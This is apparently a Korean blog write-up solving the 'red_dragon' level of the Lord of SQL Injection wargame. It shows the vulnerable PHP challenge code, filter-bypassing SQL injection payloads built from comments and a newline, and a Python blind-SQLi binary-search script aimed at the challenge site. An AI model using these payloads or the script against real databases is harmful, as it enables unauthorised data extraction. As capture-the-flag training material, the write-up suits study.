red_dragon
빨간 용용이
소스를 보자
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~");
if(strlen($_GET['id']) > 7) exit("too long string");
$no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
$query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
$query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['no'] === $_GET['no']) solve("red_dragon");
highlight_file(__FILE__);
?>
|
cs |
if(strlen($_GET['id']) > 7) exit("too long string");
id의 길이가 7보다 크면 안된다.
$no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
?는 if와 의미가 같다. 조건 ? True : False
no의 값이 숫자가 아니면 1을 반환한다.
$query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['no'] === $_GET['no']) solve("red_dragon");
id가 admin인 것의 no값을 가져와서 입력한 no값과 같으면 된다.
id=admin'%23 으로 입력해주면 쿼리가
query : select id from prob_red_dragon where id='admin'#' and no=1 로 되어서 admin이 나온다.
이제 no값을 찾아내야 한다.
쿼리에 && no>10 이런 형태를 유도해야한다.
id에 넣을 값을 줄여볼까..
#은 한줄 주석임을 이용해서 and no=을 날려주고
id에 '|| no> 을 넣고 no에 \n1을 넣어주면 쿼리가 id=''||no>1이 될 것이다.
id=%27||no>%23&no=%0a1
query : select id from prob_red_dragon where id=''||no>#' and no= 1
hello admin이 잘 튀어나온다. 이걸로 범위를 구해보자
최대범위
query : select id from prob_red_dragon where id=''||no<#' and no= 1000000000
최소범위
query : select id from prob_red_dragon where id=''||no>#' and no= 100000000
저번에 사용했던 이진탐색 알고리즘을 또 우려먹자!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
import urllib
import urllib2
import sys
import time
def binary_search_recursion(start, end , i):
if start > end:
return start
mid = (start + end) // 2
data = blind_sqli(mid, i)
if "Hello admin" in data:
start = mid + 1
print mid
else:
end = mid - 1
return binary_search_recursion(start, end, i)
def blind_sqli(val, i):
payload = "'||no>#"
payload = urllib.quote(payload)
payload = payload + "&no=%0a"+str(val)
url = "https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?id="+payload
print url
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request(url)
request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie', 'PHPSESSID=cookie')
request.get_method = lambda:'GET'
data = opener.open(request)
data = data.read()
return data
key = ""
for i in range(0,1):
k = binary_search_recursion(100000000,1000000000, i)
key+=str(hex(k))
print key
|
cs |
마지막 값에 1 더하면 그게 no값이다.
'WAR GAME > Lord of SQLi' 카테고리의 다른 글
LORD OF SQL INJECTION [frankenstein] 풀이 (0) | 2019.12.06 |
---|---|
LORD OF SQL INJECTION [blue_dragon] 풀이 (0) | 2019.12.05 |
LORD OF SQL INJECTION [green_dragon] 풀이 (0) | 2019.11.18 |
LORD OF SQL INJECTION [evil_wizard] 풀이 (0) | 2019.11.17 |
LORD OF SQL INJECTION [hell_fire] 풀이 (0) | 2019.11.16 |